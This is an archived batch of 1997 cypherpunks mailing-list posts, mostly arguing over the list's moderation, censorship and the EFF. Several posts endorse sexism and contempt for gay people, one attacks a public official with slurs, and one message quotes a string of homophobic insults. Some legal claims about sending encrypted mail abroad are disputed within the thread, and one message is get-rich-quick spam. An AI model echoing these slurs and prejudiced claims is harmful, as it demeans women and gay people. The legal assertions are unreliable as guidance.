There are no "quotas" in the marketplace. 

- I wonder whether the garage owners have any preference.  In my military
experience (Signals officer), the (older male) sergeants and chiefs, when
given a choice, preferred female radar / radio technicians to male
because, in general, they were harder working, had thicker skins, and were
more pleasant to deal with. 

Chicken and Egg: How much of "each sex [is] better suited to different
tasks" is due to little girls being pulled away from the Lego and toy
trucks, and encouraged to play with Barbies?  Being told that they are 
*pretty* not *smart* as a form of approval? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 17:13:18 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702150113.RAA20407@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh allegedly said:
> 
> 
> On Fri, 14 Feb 1997, Jim Choate wrote:
> 
> > I am taking intellectual property rights from nobody. If anything I am
> > giving unlimited intellectual rights to the material to humankind for
> > posterity. Sorta cypherpunkish, don't you think?
> 
> I am amused by this. Jim's plan sounds much less cypherpunkish than
> collectivist. Communal property, ho!
> 
> After all, workers have nothing to lose in this revolution but their
> chains. They have a world to gain. Workers of the world, unite! 

Ad hominems are so much fun, eh?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:56:39 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142356.PAA18072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May asked:

>And was my article the kind of "sludge of spam" and "contentless
>name-calling" you thought the Moderation experiment was all about?

        No.  It definitely was not.

>And what of the four or five of my posts a week ago which never made it to
>either the Main list or the Flames list? The contained no "sludge of spam"
>nor "contentless name-calling." What they dealt with was a claim (like this
>one) that some posts were not being passed on to either of the two lists,
>and that perhaps a conflict of interest was developing.
>
>Does this still match your "understanding of Sandy's effort"?

        Sadly, no.

        _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 15:41:14 -0800 (PST)
To: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Subject: Re:
Message-ID: <199702142341.PAA17356@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




> Is it legal or illegal to send a 
> PGP encrypted message from the US to someone in another country?

Yes.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 15:42:45 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142342.PAA17480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 
> Again, MY definition of a "bigot" is the correct one which is
> most understood by modern people.
> 
> A "bigot" is a racist, period.

I would have to differ with you there Dr. Grubor, although I think 
the term Bigot being applied critically to your opinions is 
inappropriate.

> > I see nothing that limits bigotry to racial intolerance.
> > 
> 
> You are a fool then.  Religion and sexism and groups all have nothing
> to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
> correct definition of the term, and I am a lot more current than
> Webster.  Any anybody who has a "religion" and "prays" is a fool.
> The only god you will ever find is within yourself.

I do not begin to believe this is correct.  I happen to believe that 
sexism, not in the sense of believing women inferior but in the sense 
of believing homosexuals inferior can be, in some instances, a form 
of bigotry but it is merely a matter of semantics and not of 
interest.

I wholeheartedly agree with the last point, anybody who believes in 
any form of deity or higher being (call it god if you like) is, IMHO, 
a fool. However, this has proven in history to be contradicted on a 
number of occasions, for example, Albert Einstein was a Jew but did 
not just accept without enquiry, rather, his religious views were 
subtle and well thought through. This is, of course, the exception 
not the rule, and 99.9999% of all religious people are fools.

 
> > > It is very logical and wise to discriminate on the basis of sex.

Here I can agree, I personally discriminate on the basis of sex, not 
in that I believe women inferior to men but rather that I believe 
each sex better suited to different tasks and vocations.
That is not, however, to say that I believe women should be prevented 
from taking up lines of work that men traditionally hold.
They are free to do so, but as in the example you give later 
I would feel uncomfortable having my car serviced by a woman.

> > Most would disagree, and decide based on that and other statements you
> > have made that you must be an extremely unpleasant person.
> > 
> 
> See, there you go again, attacking the person, instead of the
> argument.  You lose points for that.  Sexism is GOOD and right and
> justified.  I want a woman cutting my hair, and a man fixing my car,
> and I demand the correct sex for ALL activities.

Exactly, the poster has failed to recognise that you have every right 
to discrimate as you do and are justified in doing so. They are 
probably either homosexual and feel threatened or they are censorous 
and feel they must protect people from being "defamed" etc...
 
> > If you want to fight censorship effectively, going around telling
> > people "You're a shit-eating faggot you fucking cock-sucking homo
> > censor" in public forums is not going to win you many points.
> 
> Look sonny, I am not out to win any points.  I have two Doctorates and
> 22 years of experience.   I speak with authority and only to those who
> have the intelligence to understand.   I was a perfect 4.00 in
> College, and am probably the most intelligent body-politic analyst in
> the world.  Now let's face it:  Faggots are BAD news.  They are most
> always censors!  And that is the truth you can never get around.

I agree, I have no prejudice against homosexuals. Rather I have 
formulated a low opinion of them as a group due to their censorous 
behaviour. I think it is because they feel threatened by straight 
people.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 00:41:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: The EFF
Message-ID: <199702150841.AAA07718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

>As for the "rift," may observers said at the time that DT was a Jerry
>Berman "appeasement and capitulation" scheme. Note Berman no longer works
>at EFF. Note EFF is no lnoger in DC.
>
>And yes, I've read Tim May's essay on his EFF membership. I probably would
>have had the same reaction.
>

It might be a useful minor footnote for me to say that I did end up
renewing for a later year (though I kept getting mail as "Tim Mat"). I was
semi-persuaded that they'd learned their lesson.

I stopped paying attention to them a while back, though, and haven't
considered renewing. They just came to seem to be irrelevant as a
"membership driven" organization. (There were reportedly only about 2000
individual members as of not too long ago, and the EFF does little
recruiting for new individual members. They are definitely not following
the NRA or AARP models.)

Their legal work support has been very nice, of course.

As for Berman, he put on the "SAFE" forum, which I thought was very well
done. So, he redeemed himself, for me.

(I don't really understand personally whether the Digital Telephony (CALEA,
Computer Assistance for Law Enforcement) thing is Just Bad, or Really Bad,
or Even Worse, or Inconceivably Evil. No one seems to know what is expected
for Internet telephony providers, for example, or whether DT/CALEA could be
used to shut down remailers, as some of us fear. If DT/CALEA turns out to
be Really Bad, or Even Worse, I'll have to put Berman back on my list of
less desirable folks. :-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 17:11:37 -0800 (PST)
To: tcmay@got.net
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702150111.RAA20329@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> [...]
> By the way, I can forward to those who are interested these four or five
> posts which got "Meta-Censored." (Unless too many people request
> them...I'll promise to forward them to the first five people who request
> them...then some of you can repost them to the list and see if they make it
> through.)

I'd like to see them.  In fact I'd like to collect the posts which slipped
through the crack and didn't make it to either cp-flames or cp, on the
assumption that these are the posts which tell the story.

In particular I'd like to see the post that John Gilmore refered to as `Mr
Nemesis' post, wherein someone allegedly slanders/libels C2, to the
extent that Sandy dropped it from both lists, if anyone who was
subscribed to cypherpunks-unedited at the time has it still.

Unfortunately I was subscribed to only cypherpuks-flames and
cypherpunks (the edited list) at the time, so didn't get to see it.

I'm on Lance Cottrell's cypherpunks@cyberpass.net now, which is
subscribed to the cypherpunks-unedited list.  At the moment Lance is
setting Reply-To: to cypherpunks@toad.com, but I presume he'll drop
that when John Gilmore drops cypherpunks@toad.com.

The moderation decisions that I saw prior to moving to
cypherpunks-unedited after Sandy's return, and change of policy, were
even more arbitrary.  I figured I wasn't even interested to see what
they were any more, given that the cypherpunks@toad.com was shortly
being closed anyway, so just subscribed to cypherpunks-unedited.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sat, 15 Feb 1997 07:41:08 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702151541.HAA23095@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


So you write:

>Many good authors have already left the list and *nothing* will get them
>back.

Are you implying that any given mailing list should be controlled by
the best authors?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

  Excuses are the tools with which those with no purpose in view build for 
  themselves great monuments of nothing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: christensen@usa.net
Date: Sat, 15 Feb 1997 07:41:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: $10,000 in 45 days - not MLM!
Message-ID: <199702151541.HAA23084@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,


$10,000 in 45 days!

When I first read that provocative headline I thought "Oh yeah!" 

Now, why do you think I'd be so skeptical? Well, if you've been 
involved in any other "opportunities" you'd know that the hype
mostly exceeds the reality. 

No one could have been more surprised than me, when I 
actually proved the truth of that headline. Yes, I did make over 
$10,000 in 45 days!

I'm not saying this to boast, but to tell you that it really is 
possible... 

If you'd like to know HOW, then just point your browser to:

http://www.cyberius.com/CG/122/

or, simply call and listen to a short message at:

1-800-995-0796 x4347

And keep my ID for reference....

Regards,

Kirt Christensen
Investors International
#CG122






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 15 Feb 1997 07:41:13 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702151541.HAA23106@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


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In <v03010d01af2a5a0699db@[17.219.103.204]>, on 02/14/97 at 12:31 PM,
   Martin Minow <minow@apple.com> said:


>My first reaction to the "Death of Cypherpunks" (Declan McCullagh's article in
>http://netlynews.com Feb 12, 1997) is that it is another example of "The
>Tragedy of the Commons." -- the (unsolvable) problem of unlimited access to a
>limited resource. Cypherpunks was also
>susceptable to the strange Internet phenomenon where people could be proud of
>their anti-social, bad behavior (flame wars, "grafitti" in the form of spam).
>For this reason, I suspect that the future of the Internet in general, and
>Cyphperpunks in particular, will require serious editorial control (as is done
>by the Risks and Privacy digests).

>The only other alternative I can see would be to limit membership
>-- but not limit what members might write. In the long term, I suppose we'll
>have sufficiently intelligent software agents that can recognize spam and
>flaming and invisibly delete them from our e-mail in-boxes.

I compleetly dissagree with you.

The "Death of Cypherpunks" was not caused limited resources, or by spam, or by
the posts of the "good doctor". It was killed by two factors. The first was the
winning and sinviling crowd that was just too dam lazy to filter their mail.
With some very basic filtering the majority of the noise could be removed from
the list. There were a group of list members that were unwilling to take the
small amount of effort required to do this. They are the same type of people who
wine and cry that the governmnet should regulate this or regulate that all too
willing to give up a "little" freedom for promisises of extra "security". As if
this was not bad enough they typically demanded that everyone else give up a
"little" freedom along with them so they could have there extra "security".

The second and and even more deadly factor in the demise of the list was that
John & Sandy listened to these sheep. If there was such a great demand for a
censored cypherpunks list then they should have created a new censored list.
Those who wanted the services of Sandy to censor the list would have been free
to switch while leaving the main list intact. Instead the list was censored and
a cypherpunks-flams & a cypherpunks-unsensored lists were created. These list
were created with the promise that anything that did not make it onto the main
list would be placed onto the flames list. Well the inevitable happened a
message was posted that Sandy felt he could not forward to the flames list. All
this brew-ha-ha could have been avoided if Sandy had just posted a message to
the flame list stating that Dimitri had posted some crap that he could not or
would not repost to the flames list. No one would have faulted him for it as all
but the newest of list members know Dimitri. Instead threats of lawsuits were
addressed to anyone who even mentioned Dimitri's accusations. This blatent act
of censorship by Sandy and supported by John is what has brought cypherpunks to
where it is right now. Rather irronic that leaders of the fight against
"censorship" would use such tactics when it suits their needs.

>What bothers me more than anything else about the "solutions" I've seen
>proposed to the death of Cypherpunks is that they rely on technology -- and
>reject human judgement -- to solve what is, in reality, a social problem.  (One
>can certainly make the same argument about the V-chip, browser porn filters,
>and similar hacks.)

What bothers me more than anything is how false "problems" are created so
"solutions" can be implemented. Censorship of the list was NEVER needed.
Censorship of TV is not needed (ala V-chip). Censorship of cryptology is not
needed (via ITAR). Censorship is NEVER needed nor warented. Period.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sat, 15 Feb 1997 07:56:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702151556.HAA23695@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu> writes:

> [cc list trimmed!]
>
> On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:
>
> >
> > > Is it legal or illegal to send a
> > > PGP encrypted message from the US to someone in another country?
> >
> > Yes.
>
> Rubbish.  It is perfectly legal.  See generally
> http://www.law.miami.edu/~froomkin/articles/clipper.htm

I remember teaching in my computer security class how in 1944
the congress passed an act making it illegal to send encrypted
messages fro m the U.S. to abroad via snail mail, radio, etc;
it covers the not yet invented communications too (like computer
networks) and is on the books in U.S.Code somewhere. No further
laws need to be passed for the fuckers to start enforcing it.

> PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> however, as long as they are technical rather than legal...

Paul's sexist comments are very interesting - I hope to find more time to
comment on them too. I don't know if they have the same kind of "affirmative
action" in the U.K. that they have in the U.S. - here if you find a woman
in the position of authority, there's a good chance that she was promoted
ahead of more qualified men to meet some quota, and is therefore incompetent.

Remember how Klintoris (spit, spit) was determined to have a female attorney
general 4 years ago, and went through a slew of female candidates, rejecting
the best qualified ones like Kimba Wood, because she did what every working
mother in this country does - hired a babysitter for cash - and finally
appointed the bull dyke murdreress? No wonder the most ignorant shysters
on this forum, like Jim Ray (spit) come from Florida. Did he take classes
with Froomkin? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:26:10 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702151726.JAA27035@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> John Gilmore <gnu@toad.com> writes:
> [Fluffy Gilmore apologia by Declan expunged]
> Two small points.
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 2.  The article fails to mention Gilmore's new nickname. :)

I'm so disgusted by the other disinformation put out by John's loyal
friends (i.e. "respected" cypherpunks) on the subject of "disrupters
and sociopaths", etc. that I try not to reply to any of the crud I
see posted by those clowns.  But when someone tries to be reasonable,
conversation is possible.  So how about some points on "disrupters":

1. Disrupters don't like bullies.
2. Disrupters don't like mindless authorities.
3. Disrupters don't like control freaks.
4. Disrupters don't like liars and hypocrites.
5. Disrupters don't like NSA/CIA/DEA/FBI trolls.
6. Disrupters don't like Animal Farm policies and elitists.

In short, if Gilmore had come down on the real problem people once
in a while, they wouldn't have agitated the "disrupters" nearly as
much as they did.  But he wasn't about to do that, because he's one
of the problem people himself.  Fooey on you, Gilmore.  May you never
work in this business again.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:26:14 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151726.JAA27041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> I do not begin to believe this is correct.  I happen to believe that
> sexism, not in the sense of believing women inferior but in the sense
> of believing homosexuals inferior can be, in some instances, a form
> of bigotry but it is merely a matter of semantics and not of interest.
> I wholeheartedly agree with the last point, anybody who believes in
> any form of deity or higher being (call it god if you like) is, IMHO,
> a fool. However, this has proven in history to be contradicted on a
> number of occasions, for example, Albert Einstein was a Jew but did
> not just accept without enquiry, rather, his religious views were
> subtle and well thought through.

I thought Einstein's ideas on social matters (incl. religion) were
naive and sentimental.  There's a difference in saying "I believe
there's a God" and "I believe in a God".  Of course, either way one
could be implying a hidden or unspecified set of agendas concomitant
with such a belief.

In the movie "Jesus Of Nazareth" is a classic example of why to
believe or not believe in a religion, i.e. things unseen:

At the end, the followers are in a small room, fearing for their
safety and all, and they say to Jesus "how is anyone going to
believe all this stuff" (or words to that effect), and Jesus replies
"because you are my witnesses.  Tell them and they will believe".

See how simple that was?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:11:14 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151911.LAA01285@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do
> whatever it is, and IMHO are more likely to try harder.
> - I wonder whether the garage owners have any preference.  In my military
> experience (Signals officer), the (older male) sergeants and chiefs, when
> given a choice, preferred female radar / radio technicians to male
> because, in general, they were harder working, had thicker skins, and were
> more pleasant to deal with.

I love working with girls, regardless of the job. I personally prefer
the ones who don't suck up to "the guys", and who don't subscribe to
what society prefers girls should do or look like.  Unfortunately,
most offices won't hire them unless they conform in ways that I feel
are offensive, so the really independent ones wind up mainly in low-
paying jobs or going it alone (i.e., driving a truck).

Nothing wrong with driving a truck, of course, but it would be nicer
still if they could co-exist alongside males in the majority of
workplaces without having to do female role-playing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Date: Sat, 15 Feb 1997 11:13:17 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702151913.LAA01416@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:57 PM 2/14/97 -0800, Vladimir Z. Nuri wrote:
>
...
>if cpunks had a formal way of making decisions, and some loyalty
>to each other, instead of BAILING OUT at the slightest difficulty,
>perhaps the situation would be different, eh? see how quickly people
>who were once friends simply WALK OUT on each other in the cryptoanarchist
>approach? where is the loyalty? the sense of working for the greater
>good? it's gone. TCM simply ABANDONS the list at the first opportunity,
>and ignores the years of hard work that J.G. has put into it.
...
Not everyone has "bailed out".  Amid the flotsam and jetsam of the sinking
list, Igor Chudov Firebeard, and others have begun to fashion a trimaran.
If they finish before the old vessel finally sinks in the storm, then we
will have a ship more difficult to capsize.  Others are anchoring that half
finished craft to the great floating city/state Usenet.  Still others are
scheming as to the best way to keep the self appointed police from cutting
the little craft adrift.

No, we would have "bailed out" if we had each sit still to let our
subscriptions run out.  More will "go down with the ship", arguing against
the shutdown right up to the day when the list is finally eliminated.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:11:35 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702151911.LAA01317@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> what TCM continues to stick his head in the sand over
> is the fact that the list noise levels have gotten outlandishly
> out of control over recent times, far beyond anything in memory.
> what is it due to?

"Out of control" says it all, don't you think?  (as in "control
freaks", that is).

> it appears that there is a basic law of cyberspace that S/N decreases
> as you add more people. it seems to be a very obvious and repeatable
> property.

No, it decreases rapidly when your forum more-or-less suddenly
becomes a hot item on the web.  If it weren't hot, nobody would
bother, believe me.

> there are some significant lessons about cryptoanarchy that are
> completely evading TCM. how well does anarchy scale? apparently, not
> well. TCM would like to pretend that just deleting posts and having
> outsider filterers is a "solution" to the problem and argues for
> business as usual, upholding the status quo.

"Scale" is a term used by controllers.

> the problem is that when you have a deteriorating situation, the
> status quo is not a valid concept. keeping the status quo means
> further deterioration.

Look at the big picture.  Some people have proposed unacceptable
methods for controlling human population, and it should be no
surprise that the same mentality would pervade these forums.

> TCM also fails to address the problem of AGENT PROVOCATEURS. the
> cyberspace list is intensely fragile and susceptible/ vulnerable
> to them as Vulis demonstrates. it only takes ONE and a lot of
> tentacles. does TCM propose a solution to this? no, of course not,
> because he has a blind spot when it comes to realizing the
> PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

Unless, of course, the forum itself (and its proponents) are
themselves the "agent provocateurs".

> if cpunks had a formal way of making decisions, and some loyalty
> to each other, instead of BAILING OUT at the slightest difficulty,
> perhaps the situation would be different, eh? see how quickly people
> who were once friends simply WALK OUT on each other in the cryptoanarchist
> approach? where is the loyalty? the sense of working for the greater
> good? it's gone. TCM simply ABANDONS the list at the first opportunity,
> and ignores the years of hard work that J.G. has put into it.

Loyalty?  Amongst anarchists?  Two points: Loyalty on c-punks was
almost entirely a negative factor (i.e., sucking up to Gilmore).
Two, Tim May is for Tim May (as he should be), and he didn't abandon
his ideals one bit, which is a helluva lot more to say for him than
Gilmore or Sandfort.

> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
> the logical conclusion of your views playing out before you. acrimony,
> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

Perhaps you should turn your talents to writing country songs.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:56:11 -0800 (PST)
Subject: Welcome
Message-ID: <199702151556.HAA23654@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:56:20 -0800 (PST)
Subject: Welcome
Message-ID: <199702151556.HAA23681@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Advance Listings mailing list.

You will be sent advance listings approximately monthly with information on Dia's exhibitions and other upcoming programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sat, 15 Feb 1997 13:56:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702152156.NAA07488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 2/15/97 -0800, owner-cypherpunks@toad.com wrote:
>

Wow, the entire text of these messages were deleted.  And they came from
the list owner!  The censorship here is even worse that I had imagined...


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Lawrence <mlawrenc@ix.netcom.com>
Date: Sat, 15 Feb 1997 13:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: hacking
Message-ID: <199702152156.NAA07494@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


i'm a new minor hacker so do you think you could teach me a few things
so i could get started on some small-time hacking?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: codehead@ix.netcom.com
Date: Sat, 15 Feb 1997 17:11:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Welcome
Message-ID: <199702160111.RAA14502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Sat, 15 Feb 1997 10:39:28 GMT
> From:          List-Owner <nobody@diacenter.org>
> Subject:       Welcome
> Reply-to:      cypherpunks@toad.com

> Welcome to Dia's Press Releases mailing list.
> 
> You will be sent press releases about Dia's exhibitions and other programs.
> 
> If you have questions or would like to request more press information, please
> contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.
> 
> If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."
> 
> PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.
> 
> Thank you for your interest in Dia Center for the Arts.
> 
> Dia Center for the Arts
> 548 West 22nd Street
> New York, NY 10011
> http://www.diacenter.org
> 
> 

Here it is:

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10:39:28 GMT Date: Sat, 15 Feb 1997 10:39:28 GMT From: List-Owner
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Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other
programs.

If you have questions or would like to request more press information,
please contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566
x 118.

If you would like to stop receiving mailings, please send an email to
list-owner@diacenter.org with the subject line "Remove me from Dia
News."

PLEASE NOTE: You may receive more than one message indicating a
succesful subscription.  If you joined more than one of Dia's mailing
lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 17:11:00 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160111.RAA14406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dave Hayes wrote:
> > > > > Ok. I'll "put up".
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> > 
> > I think that the ideas of a distributed list and the idea of
> > alt.cypherpunks are both good and these two mediums complement
> > each other.
> 
> I can certainly accept this, but it would be nice if someone summarizes
> these feeds every now and then, as time to check them all out is very
> limited.
> 

I agree entirely.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
